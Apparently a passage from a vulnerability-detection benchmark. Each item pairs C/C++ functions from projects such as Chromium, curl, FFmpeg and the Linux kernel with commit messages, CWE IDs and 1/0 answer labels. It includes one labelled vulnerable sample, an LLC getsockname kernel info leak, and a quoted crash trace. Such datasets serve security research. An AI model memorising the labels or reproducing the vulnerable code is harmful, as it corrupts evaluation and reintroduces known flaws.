Change-Id: Id81843abad08814fae747b5bc81c09666583f130
Reviewed-on: https://chromium-review.googlesource.com/c/1382494
Reviewed-by: Fredrik Söderquist <[email protected]>
Commit-Queue: Rune Lillesveen <[email protected]>
Cr-Commit-Position: refs/heads/master@{#617487}
CWE ID: CWE-704 | 0 | 152,791 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void getPixelColorsRGBA8(unsigned char* buffer, size_t numpixels,
unsigned has_alpha, const unsigned char* in,
const LodePNGColorMode* mode)
{
unsigned num_channels = has_alpha ? 4 : 3;
size_t i;
if(mode->colortype == LCT_GREY)
{
if(mode->bitdepth == 8)
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = buffer[1] = buffer[2] = in[i];
if(has_alpha) buffer[3] = mode->key_defined && in[i] == mode->key_r ? 0 : 255;
}
}
else if(mode->bitdepth == 16)
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = buffer[1] = buffer[2] = in[i * 2];
if(has_alpha) buffer[3] = mode->key_defined && 256U * in[i * 2 + 0] + in[i * 2 + 1] == mode->key_r ? 0 : 255;
}
}
else
{
unsigned highest = ((1U << mode->bitdepth) - 1U); /*highest possible value for this bit depth*/
size_t j = 0;
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
unsigned value = readBitsFromReversedStream(&j, in, mode->bitdepth);
buffer[0] = buffer[1] = buffer[2] = (value * 255) / highest;
if(has_alpha) buffer[3] = mode->key_defined && value == mode->key_r ? 0 : 255;
}
}
}
else if(mode->colortype == LCT_RGB)
{
if(mode->bitdepth == 8)
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = in[i * 3 + 0];
buffer[1] = in[i * 3 + 1];
buffer[2] = in[i * 3 + 2];
if(has_alpha) buffer[3] = mode->key_defined && buffer[0] == mode->key_r
&& buffer[1]== mode->key_g && buffer[2] == mode->key_b ? 0 : 255;
}
}
else
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = in[i * 6 + 0];
buffer[1] = in[i * 6 + 2];
buffer[2] = in[i * 6 + 4];
if(has_alpha) buffer[3] = mode->key_defined
&& 256U * in[i * 6 + 0] + in[i * 6 + 1] == mode->key_r
&& 256U * in[i * 6 + 2] + in[i * 6 + 3] == mode->key_g
&& 256U * in[i * 6 + 4] + in[i * 6 + 5] == mode->key_b ? 0 : 255;
}
}
}
else if(mode->colortype == LCT_PALETTE)
{
unsigned index;
size_t j = 0;
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
if(mode->bitdepth == 8) index = in[i];
else index = readBitsFromReversedStream(&j, in, mode->bitdepth);
if(index >= mode->palettesize)
{
/*This is an error according to the PNG spec, but most PNG decoders make it black instead.
Done here too, slightly faster due to no error handling needed.*/
buffer[0] = buffer[1] = buffer[2] = 0;
if(has_alpha) buffer[3] = 255;
}
else
{
buffer[0] = mode->palette[index * 4 + 0];
buffer[1] = mode->palette[index * 4 + 1];
buffer[2] = mode->palette[index * 4 + 2];
if(has_alpha) buffer[3] = mode->palette[index * 4 + 3];
}
}
}
else if(mode->colortype == LCT_GREY_ALPHA)
{
if(mode->bitdepth == 8)
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = buffer[1] = buffer[2] = in[i * 2 + 0];
if(has_alpha) buffer[3] = in[i * 2 + 1];
}
}
else
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = buffer[1] = buffer[2] = in[i * 4 + 0];
if(has_alpha) buffer[3] = in[i * 4 + 2];
}
}
}
else if(mode->colortype == LCT_RGBA)
{
if(mode->bitdepth == 8)
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = in[i * 4 + 0];
buffer[1] = in[i * 4 + 1];
buffer[2] = in[i * 4 + 2];
if(has_alpha) buffer[3] = in[i * 4 + 3];
}
}
else
{
for(i = 0; i < numpixels; i++, buffer += num_channels)
{
buffer[0] = in[i * 8 + 0];
buffer[1] = in[i * 8 + 2];
buffer[2] = in[i * 8 + 4];
if(has_alpha) buffer[3] = in[i * 8 + 6];
}
}
}
}
Commit Message: Fixed #5645: realloc return handling
CWE ID: CWE-772 | 0 | 87,488 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool xmp_append_array_item(XmpPtr xmp, const char *schema, const char *name,
uint32_t arrayOptions, const char *value,
uint32_t optionBits)
{
CHECK_PTR(xmp, false);
RESET_ERROR;
bool ret = false;
auto txmp = reinterpret_cast<SXMPMeta *>(xmp);
try {
txmp->AppendArrayItem(schema, name, arrayOptions, value, optionBits);
ret = true;
}
catch (const XMP_Error &e) {
set_error(e);
}
catch (...) {
}
return ret;
}
Commit Message:
CWE ID: CWE-416 | 0 | 16,004 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static bool extract_if_dead(struct connectdata *conn,
struct Curl_easy *data)
{
size_t pipeLen = conn->send_pipe.size + conn->recv_pipe.size;
if(!pipeLen && !CONN_INUSE(conn)) {
/* The check for a dead socket makes sense only if there are no
handles in pipeline and the connection isn't already marked in
use */
bool dead;
conn->data = data;
if(conn->handler->connection_check) {
/* The protocol has a special method for checking the state of the
connection. Use it to check if the connection is dead. */
unsigned int state;
state = conn->handler->connection_check(conn, CONNCHECK_ISDEAD);
dead = (state & CONNRESULT_DEAD);
}
else {
/* Use the general method for determining the death of a connection */
dead = SocketIsDead(conn->sock[FIRSTSOCKET]);
}
if(dead) {
infof(data, "Connection %ld seems to be dead!\n", conn->connection_id);
Curl_conncache_remove_conn(conn, FALSE);
conn->data = NULL; /* detach */
return TRUE;
}
}
return FALSE;
}
Commit Message: Curl_close: clear data->multi_easy on free to avoid use-after-free
Regression from b46cfbc068 (7.59.0)
CVE-2018-16840
Reported-by: Brian Carpenter (Geeknik Labs)
Bug: https://curl.haxx.se/docs/CVE-2018-16840.html
CWE ID: CWE-416 | 0 | 77,792 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void AppListControllerDelegate::GetApps(Profile* profile,
extensions::ExtensionSet* out_apps) {
ExtensionRegistry* registry = ExtensionRegistry::Get(profile);
DCHECK(registry);
out_apps->InsertAll(registry->enabled_extensions());
out_apps->InsertAll(registry->disabled_extensions());
out_apps->InsertAll(registry->terminated_extensions());
}
Commit Message: [Extensions] Add GetInstalledExtension() method to ExtensionRegistry
This CL adds GetInstalledExtension() method to ExtensionRegistry and
uses it instead of deprecated ExtensionService::GetInstalledExtension()
in chrome/browser/ui/app_list/.
Part of removing the deprecated GetInstalledExtension() call
from the ExtensionService.
BUG=489687
Review URL: https://codereview.chromium.org/1130353010
Cr-Commit-Position: refs/heads/master@{#333036}
CWE ID: | 0 | 123,855 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int set_next_request(void)
{
struct pf_unit *pf;
int old_pos = pf_queue;
do {
pf = &units[pf_queue];
if (++pf_queue == PF_UNITS)
pf_queue = 0;
if (pf->present && !list_empty(&pf->rq_list)) {
pf_req = list_first_entry(&pf->rq_list, struct request,
queuelist);
list_del_init(&pf_req->queuelist);
blk_mq_start_request(pf_req);
break;
}
} while (pf_queue != old_pos);
return pf_req != NULL;
}
Commit Message: paride/pf: Fix potential NULL pointer dereference
Syzkaller report this:
pf: pf version 1.04, major 47, cluster 64, nice 0
pf: No ATAPI disk detected
kasan: CONFIG_KASAN_INLINE enabled
kasan: GPF could be caused by NULL-ptr deref or user memory access
general protection fault: 0000 [#1] SMP KASAN PTI
CPU: 0 PID: 9887 Comm: syz-executor.0 Tainted: G C 5.1.0-rc3+ #8
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:pf_init+0x7af/0x1000 [pf]
Code: 46 77 d2 48 89 d8 48 c1 e8 03 80 3c 28 00 74 08 48 89 df e8 03 25 a6 d2 4c 8b 23 49 8d bc 24 80 05 00 00 48 89 f8 48 c1 e8 03 <80> 3c 28 00 74 05 e8 e6 24 a6 d2 49 8b bc 24 80 05 00 00 e8 79 34
RSP: 0018:ffff8881abcbf998 EFLAGS: 00010202
RAX: 00000000000000b0 RBX: ffffffffc1e4a8a8 RCX: ffffffffaec50788
RDX: 0000000000039b10 RSI: ffffc9000153c000 RDI: 0000000000000580
RBP: dffffc0000000000 R08: ffffed103ee44e59 R09: ffffed103ee44e59
R10: 0000000000000001 R11: ffffed103ee44e58 R12: 0000000000000000
R13: ffffffffc1e4b028 R14: 0000000000000000 R15: 0000000000000020
FS: 00007f1b78a91700(0000) GS:ffff8881f7200000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f6d72b207f8 CR3: 00000001d5790004 CR4: 00000000007606f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
? 0xffffffffc1e50000
do_one_initcall+0xbc/0x47d init/main.c:901
do_init_module+0x1b5/0x547 kernel/module.c:3456
load_module+0x6405/0x8c10 kernel/module.c:3804
__do_sys_finit_module+0x162/0x190 kernel/module.c:3898
do_syscall_64+0x9f/0x450 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x462e99
Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f1b78a90c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99
RDX: 0000000000000000 RSI: 0000000020000180 RDI: 0000000000000003
RBP: 00007f1b78a90c70 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f1b78a916bc
R13: 00000000004bcefa R14: 00000000006f6fb0 R15: 0000000000000004
Modules linked in: pf(+) paride gpio_tps65218 tps65218 i2c_cht_wc ati_remote dc395x act_meta_skbtcindex act_ife ife ecdh_generic rc_xbox_dvd sky81452_regulator v4l2_fwnode leds_blinkm snd_usb_hiface comedi(C) aes_ti slhc cfi_cmdset_0020 mtd cfi_util sx8654 mdio_gpio of_mdio fixed_phy mdio_bitbang libphy alcor_pci matrix_keymap hid_uclogic usbhid scsi_transport_fc videobuf2_v4l2 videobuf2_dma_sg snd_soc_pcm179x_spi snd_soc_pcm179x_codec i2c_demux_pinctrl mdev snd_indigodj isl6405 mii enc28j60 cmac adt7316_i2c(C) adt7316(C) fmc_trivial fmc nf_reject_ipv4 authenc rc_dtt200u rtc_ds1672 dvb_usb_dibusb_mc dvb_usb_dibusb_mc_common dib3000mc dibx000_common dvb_usb_dibusb_common dvb_usb dvb_core videobuf2_common videobuf2_vmalloc videobuf2_memops regulator_haptic adf7242 mac802154 ieee802154 s5h1409 da9034_ts snd_intel8x0m wmi cx24120 usbcore sdhci_cadence sdhci_pltfm sdhci mmc_core joydev i2c_algo_bit scsi_transport_iscsi iscsi_boot_sysfs ves1820 lockd grace nfs_acl auth_rpcgss sunrp
c
ip_vs snd_soc_adau7002 snd_cs4281 snd_rawmidi gameport snd_opl3_lib snd_seq_device snd_hwdep snd_ac97_codec ad7418 hid_primax hid snd_soc_cs4265 snd_soc_core snd_pcm_dmaengine snd_pcm snd_timer ac97_bus snd_compress snd soundcore ti_adc108s102 eeprom_93cx6 i2c_algo_pca mlxreg_hotplug st_pressure st_sensors industrialio_triggered_buffer kfifo_buf industrialio v4l2_common videodev media snd_soc_adau_utils rc_pinnacle_grey rc_core pps_gpio leds_lm3692x nandcore ledtrig_pattern iptable_security iptable_raw iptable_mangle iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun mousedev ppdev tpm kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel ide_pci_generic aes_x86_64 piix crypto_simd input_leds psmouse cryp
td
glue_helper ide_core intel_agp serio_raw intel_gtt agpgart ata_generic i2c_piix4 pata_acpi parport_pc parport rtc_cmos floppy sch_fq_codel ip_tables x_tables sha1_ssse3 sha1_generic ipv6 [last unloaded: paride]
Dumping ftrace buffer:
(ftrace buffer empty)
---[ end trace 7a818cf5f210d79e ]---
If alloc_disk fails in pf_init_units, pf->disk will be
NULL, however in pf_detect and pf_exit, it's not check
this before free.It may result a NULL pointer dereference.
Also when register_blkdev failed, blk_cleanup_queue() and
blk_mq_free_tag_set() should be called to free resources.
Reported-by: Hulk Robot <[email protected]>
Fixes: 6ce59025f118 ("paride/pf: cleanup queues when detection fails")
Signed-off-by: YueHaibing <[email protected]>
Signed-off-by: Jens Axboe <[email protected]>
CWE ID: CWE-476 | 0 | 88,025 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: base::ScopedClosureRunner SkiaOutputSurfaceImpl::GetCacheBackBufferCb() {
CHECK(false);
return base::ScopedClosureRunner();
}
Commit Message: SkiaRenderer: Support changing color space
SkiaOutputSurfaceImpl did not handle the color space changing after it
was created previously. The SkSurfaceCharacterization color space was
only set during the first time Reshape() ran when the charactization is
returned from the GPU thread. If the color space was changed later the
SkSurface and SkDDL color spaces no longer matched and draw failed.
Bug: 1009452
Change-Id: Ib6d2083efc7e7eb6f94782342e92a809b69d6fdc
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1841811
Reviewed-by: Peng Huang <[email protected]>
Commit-Queue: kylechar <[email protected]>
Cr-Commit-Position: refs/heads/master@{#702946}
CWE ID: CWE-704 | 0 | 135,962 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: xdr_krb5_flags(XDR *xdrs, krb5_flags *objp)
{
/* This assumes that int32 and krb5_flags are the same size.
This shouldn't be a problem, since we've got a unit test which
checks for this. */
if (!xdr_int32(xdrs, (int32_t *) objp)) {
return (FALSE);
}
return (TRUE);
}
Commit Message: Fix kadm5/gssrpc XDR double free [CVE-2014-9421]
[MITKRB5-SA-2015-001] In auth_gssapi_unwrap_data(), do not free
partial deserialization results upon failure to deserialize. This
responsibility belongs to the callers, svctcp_getargs() and
svcudp_getargs(); doing it in the unwrap function results in freeing
the results twice.
In xdr_krb5_tl_data() and xdr_krb5_principal(), null out the pointers
we are freeing, as other XDR functions such as xdr_bytes() and
xdr_string().
ticket: 8056 (new)
target_version: 1.13.1
tags: pullup
CWE ID: | 0 | 46,069 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int snd_seq_ioctl_query_next_port(struct snd_seq_client *client,
void __user *arg)
{
struct snd_seq_client *cptr;
struct snd_seq_client_port *port = NULL;
struct snd_seq_port_info info;
if (copy_from_user(&info, arg, sizeof(info)))
return -EFAULT;
cptr = snd_seq_client_use_ptr(info.addr.client);
if (cptr == NULL)
return -ENXIO;
/* search for next port */
info.addr.port++;
port = snd_seq_port_query_nearest(cptr, &info);
if (port == NULL) {
snd_seq_client_unlock(cptr);
return -ENOENT;
}
/* get port info */
info.addr = port->addr;
snd_seq_get_port_info(port, &info);
snd_seq_port_unlock(port);
snd_seq_client_unlock(cptr);
if (copy_to_user(arg, &info, sizeof(info)))
return -EFAULT;
return 0;
}
Commit Message: ALSA: seq: Fix missing NULL check at remove_events ioctl
snd_seq_ioctl_remove_events() calls snd_seq_fifo_clear()
unconditionally even if there is no FIFO assigned, and this leads to
an Oops due to NULL dereference. The fix is just to add a proper NULL
check.
Reported-by: Dmitry Vyukov <[email protected]>
Tested-by: Dmitry Vyukov <[email protected]>
Cc: <[email protected]>
Signed-off-by: Takashi Iwai <[email protected]>
CWE ID: | 0 | 54,711 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int GetLastYear() {
Time last_year_time = Time::NowFromSystemTime() - TimeDelta::FromDays(365);
Time::Exploded exploded;
last_year_time.LocalExplode(&exploded);
return exploded.year;
}
Commit Message: Convert ARRAYSIZE_UNSAFE -> arraysize in base/.
[email protected]
BUG=423134
Review URL: https://codereview.chromium.org/656033009
Cr-Commit-Position: refs/heads/master@{#299835}
CWE ID: CWE-189 | 0 | 110,866 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static gboolean delayed_calls_process(PluginInstance *plugin, gboolean is_in_NPP_Destroy)
{
while (g_delayed_calls != NULL) {
if (!is_in_NPP_Destroy) {
/* Continue later if there is incoming RPC */
if (rpc_wait_dispatch(g_rpc_connection, 0) > 0)
return TRUE;
}
DelayedCall *dcall = (DelayedCall *)g_delayed_calls->data;
/* XXX: Remove the link first; this function /must/ be
* re-entrant. We may be called again while processing the
* delayed call. */
g_delayed_calls = g_list_delete_link(g_delayed_calls, g_delayed_calls);
switch (dcall->type) {
case RPC_DELAYED_NPN_RELEASE_OBJECT:
{
NPObject *npobj = (NPObject *)dcall->data;
g_NPN_ReleaseObject_Now(npobj);
break;
}
}
NPW_MemFree(dcall);
}
if (g_delayed_calls)
return TRUE;
if (g_delayed_calls_id) {
g_source_remove(g_delayed_calls_id);
g_delayed_calls_id = 0;
}
return FALSE;
}
Commit Message: Support all the new variables added
CWE ID: CWE-264 | 0 | 27,025 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void FrameLoader::setOpener(Frame* opener)
{
if (m_opener && !opener)
m_client->didDisownOpener();
if (m_opener)
m_opener->loader()->m_openedFrames.remove(m_frame);
if (opener)
opener->loader()->m_openedFrames.add(m_frame);
m_opener = opener;
if (m_frame->document())
m_frame->document()->initSecurityContext();
}
Commit Message: Don't wait to notify client of spoof attempt if a modal dialog is created.
BUG=281256
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/23620020
git-svn-id: svn://svn.chromium.org/blink/trunk@157196 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 0 | 111,674 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int asf_read_header(AVFormatContext *s)
{
ASFContext *asf = s->priv_data;
ff_asf_guid g;
AVIOContext *pb = s->pb;
int i;
int64_t gsize;
ff_get_guid(pb, &g);
if (ff_guidcmp(&g, &ff_asf_header))
return AVERROR_INVALIDDATA;
avio_rl64(pb);
avio_rl32(pb);
avio_r8(pb);
avio_r8(pb);
memset(&asf->asfid2avid, -1, sizeof(asf->asfid2avid));
for (i = 0; i<128; i++)
asf->streams[i].stream_language_index = 128; // invalid stream index means no language info
for (;;) {
uint64_t gpos = avio_tell(pb);
int ret = 0;
ff_get_guid(pb, &g);
gsize = avio_rl64(pb);
print_guid(&g);
if (!ff_guidcmp(&g, &ff_asf_data_header)) {
asf->data_object_offset = avio_tell(pb);
/* If not streaming, gsize is not unlimited (how?),
* and there is enough space in the file.. */
if (!(asf->hdr.flags & 0x01) && gsize >= 100)
asf->data_object_size = gsize - 24;
else
asf->data_object_size = (uint64_t)-1;
break;
}
if (gsize < 24)
return AVERROR_INVALIDDATA;
if (!ff_guidcmp(&g, &ff_asf_file_header)) {
ret = asf_read_file_properties(s, gsize);
} else if (!ff_guidcmp(&g, &ff_asf_stream_header)) {
ret = asf_read_stream_properties(s, gsize);
} else if (!ff_guidcmp(&g, &ff_asf_comment_header)) {
asf_read_content_desc(s, gsize);
} else if (!ff_guidcmp(&g, &ff_asf_language_guid)) {
asf_read_language_list(s, gsize);
} else if (!ff_guidcmp(&g, &ff_asf_extended_content_header)) {
asf_read_ext_content_desc(s, gsize);
} else if (!ff_guidcmp(&g, &ff_asf_metadata_header)) {
asf_read_metadata(s, gsize);
} else if (!ff_guidcmp(&g, &ff_asf_metadata_library_header)) {
asf_read_metadata(s, gsize);
} else if (!ff_guidcmp(&g, &ff_asf_ext_stream_header)) {
asf_read_ext_stream_properties(s, gsize);
continue;
} else if (!ff_guidcmp(&g, &ff_asf_head1_guid)) {
ff_get_guid(pb, &g);
avio_skip(pb, 6);
continue;
} else if (!ff_guidcmp(&g, &ff_asf_marker_header)) {
asf_read_marker(s, gsize);
} else if (avio_feof(pb)) {
return AVERROR_EOF;
} else {
if (!s->keylen) {
if (!ff_guidcmp(&g, &ff_asf_content_encryption)) {
unsigned int len;
AVPacket pkt;
av_log(s, AV_LOG_WARNING,
"DRM protected stream detected, decoding will likely fail!\n");
len= avio_rl32(pb);
av_log(s, AV_LOG_DEBUG, "Secret data:\n");
if ((ret = av_get_packet(pb, &pkt, len)) < 0)
return ret;
av_hex_dump_log(s, AV_LOG_DEBUG, pkt.data, pkt.size);
av_packet_unref(&pkt);
len= avio_rl32(pb);
get_tag(s, "ASF_Protection_Type", -1, len, 32);
len= avio_rl32(pb);
get_tag(s, "ASF_Key_ID", -1, len, 32);
len= avio_rl32(pb);
get_tag(s, "ASF_License_URL", -1, len, 32);
} else if (!ff_guidcmp(&g, &ff_asf_ext_content_encryption)) {
av_log(s, AV_LOG_WARNING,
"Ext DRM protected stream detected, decoding will likely fail!\n");
av_dict_set(&s->metadata, "encryption", "ASF Extended Content Encryption", 0);
} else if (!ff_guidcmp(&g, &ff_asf_digital_signature)) {
av_log(s, AV_LOG_INFO, "Digital signature detected!\n");
}
}
}
if (ret < 0)
return ret;
if (avio_tell(pb) != gpos + gsize)
av_log(s, AV_LOG_DEBUG,
"gpos mismatch our pos=%"PRIu64", end=%"PRId64"\n",
avio_tell(pb) - gpos, gsize);
avio_seek(pb, gpos + gsize, SEEK_SET);
}
ff_get_guid(pb, &g);
avio_rl64(pb);
avio_r8(pb);
avio_r8(pb);
if (avio_feof(pb))
return AVERROR_EOF;
asf->data_offset = avio_tell(pb);
asf->packet_size_left = 0;
for (i = 0; i < 128; i++) {
int stream_num = asf->asfid2avid[i];
if (stream_num >= 0) {
AVStream *st = s->streams[stream_num];
if (!st->codecpar->bit_rate)
st->codecpar->bit_rate = asf->stream_bitrates[i];
if (asf->dar[i].num > 0 && asf->dar[i].den > 0) {
av_reduce(&st->sample_aspect_ratio.num,
&st->sample_aspect_ratio.den,
asf->dar[i].num, asf->dar[i].den, INT_MAX);
} else if ((asf->dar[0].num > 0) && (asf->dar[0].den > 0) &&
(st->codecpar->codec_type == AVMEDIA_TYPE_VIDEO))
av_reduce(&st->sample_aspect_ratio.num,
&st->sample_aspect_ratio.den,
asf->dar[0].num, asf->dar[0].den, INT_MAX);
av_log(s, AV_LOG_TRACE, "i=%d, st->codecpar->codec_type:%d, asf->dar %d:%d sar=%d:%d\n",
i, st->codecpar->codec_type, asf->dar[i].num, asf->dar[i].den,
st->sample_aspect_ratio.num, st->sample_aspect_ratio.den);
if (asf->streams[i].stream_language_index < 128) {
const char *rfc1766 = asf->stream_languages[asf->streams[i].stream_language_index];
if (rfc1766 && strlen(rfc1766) > 1) {
const char primary_tag[3] = { rfc1766[0], rfc1766[1], '\0' }; // ignore country code if any
const char *iso6392 = ff_convert_lang_to(primary_tag,
AV_LANG_ISO639_2_BIBL);
if (iso6392)
av_dict_set(&st->metadata, "language", iso6392, 0);
}
}
}
}
ff_metadata_conv(&s->metadata, NULL, ff_asf_metadata_conv);
return 0;
}
Commit Message: avformat/asfdec: Fix DoS in asf_build_simple_index()
Fixes: Missing EOF check in loop
No testcase
Found-by: Xiaohei and Wangchu from Alibaba Security Team
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-399 | 0 | 61,355 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool BrowserView::DoCutCopyPaste(void (content::RenderWidgetHost::*method)()) {
#if defined(USE_AURA)
WebContents* contents = chrome::GetActiveWebContents(browser_.get());
if (contents && contents->GetContentNativeView() &&
contents->GetContentNativeView()->HasFocus()) {
(contents->GetRenderViewHost()->*method)();
return true;
}
#elif defined(OS_WIN)
#endif
return false;
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 118,322 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int ssl3_new(SSL *s)
{
SSL3_STATE *s3;
if ((s3 = OPENSSL_malloc(sizeof *s3)) == NULL)
goto err;
memset(s3, 0, sizeof *s3);
memset(s3->rrec.seq_num, 0, sizeof(s3->rrec.seq_num));
memset(s3->wrec.seq_num, 0, sizeof(s3->wrec.seq_num));
s->s3 = s3;
#ifndef OPENSSL_NO_SRP
SSL_SRP_CTX_init(s);
#endif
s->method->ssl_clear(s);
return (1);
err:
return (0);
}
Commit Message:
CWE ID: CWE-200 | 0 | 13,694 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int hns_get_gid_index(struct hns_roce_dev *hr_dev, u8 port, int gid_index)
{
return gid_index * hr_dev->caps.num_ports + port;
}
Commit Message: RDMA/hns: Fix init resp when alloc ucontext
The data in resp will be copied from kernel to userspace, thus it needs to
be initialized to zeros to avoid copying uninited stack memory.
Reported-by: Dan Carpenter <[email protected]>
Fixes: e088a685eae9 ("RDMA/hns: Support rq record doorbell for the user space")
Signed-off-by: Yixian Liu <[email protected]>
Signed-off-by: Jason Gunthorpe <[email protected]>
CWE ID: CWE-665 | 0 | 87,730 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int llc_ui_getname(struct socket *sock, struct sockaddr *uaddr,
int *uaddrlen, int peer)
{
struct sockaddr_llc sllc;
struct sock *sk = sock->sk;
struct llc_sock *llc = llc_sk(sk);
int rc = 0;
memset(&sllc, 0, sizeof(sllc));
lock_sock(sk);
if (sock_flag(sk, SOCK_ZAPPED))
goto out;
*uaddrlen = sizeof(sllc);
memset(uaddr, 0, *uaddrlen);
if (peer) {
rc = -ENOTCONN;
if (sk->sk_state != TCP_ESTABLISHED)
goto out;
if(llc->dev)
sllc.sllc_arphrd = llc->dev->type;
sllc.sllc_sap = llc->daddr.lsap;
memcpy(&sllc.sllc_mac, &llc->daddr.mac, IFHWADDRLEN);
} else {
rc = -EINVAL;
if (!llc->sap)
goto out;
sllc.sllc_sap = llc->sap->laddr.lsap;
if (llc->dev) {
sllc.sllc_arphrd = llc->dev->type;
memcpy(&sllc.sllc_mac, llc->dev->dev_addr,
IFHWADDRLEN);
}
}
rc = 0;
sllc.sllc_family = AF_LLC;
memcpy(uaddr, &sllc, sizeof(sllc));
out:
release_sock(sk);
return rc;
}
Commit Message: llc: fix info leak via getsockname()
The LLC code wrongly returns 0, i.e. "success", when the socket is
zapped. Together with the uninitialized uaddrlen pointer argument from
sys_getsockname this leads to an arbitrary memory leak of up to 128
bytes kernel stack via the getsockname() syscall.
Return an error instead when the socket is zapped to prevent the info
leak. Also remove the unnecessary memset(0). We don't directly write to
the memory pointed by uaddr but memcpy() a local structure at the end of
the function that is properly initialized.
Signed-off-by: Mathias Krause <[email protected]>
Cc: Arnaldo Carvalho de Melo <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-200 | 1 | 166,184 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void uas_do_work(struct work_struct *work)
{
struct uas_dev_info *devinfo =
container_of(work, struct uas_dev_info, work);
struct uas_cmd_info *cmdinfo;
struct scsi_cmnd *cmnd;
unsigned long flags;
int i, err;
spin_lock_irqsave(&devinfo->lock, flags);
if (devinfo->resetting)
goto out;
for (i = 0; i < devinfo->qdepth; i++) {
if (!devinfo->cmnd[i])
continue;
cmnd = devinfo->cmnd[i];
cmdinfo = (void *)&cmnd->SCp;
if (!(cmdinfo->state & IS_IN_WORK_LIST))
continue;
err = uas_submit_urbs(cmnd, cmnd->device->hostdata);
if (!err)
cmdinfo->state &= ~IS_IN_WORK_LIST;
else
schedule_work(&devinfo->work);
}
out:
spin_unlock_irqrestore(&devinfo->lock, flags);
}
Commit Message: USB: uas: fix bug in handling of alternate settings
The uas driver has a subtle bug in the way it handles alternate
settings. The uas_find_uas_alt_setting() routine returns an
altsetting value (the bAlternateSetting number in the descriptor), but
uas_use_uas_driver() then treats that value as an index to the
intf->altsetting array, which it isn't.
Normally this doesn't cause any problems because the various
alternate settings have bAlternateSetting values 0, 1, 2, ..., so the
value is equal to the index in the array. But this is not guaranteed,
and Andrey Konovalov used the syzkaller fuzzer with KASAN to get a
slab-out-of-bounds error by violating this assumption.
This patch fixes the bug by making uas_find_uas_alt_setting() return a
pointer to the altsetting entry rather than either the value or the
index. Pointers are less subject to misinterpretation.
Signed-off-by: Alan Stern <[email protected]>
Reported-by: Andrey Konovalov <[email protected]>
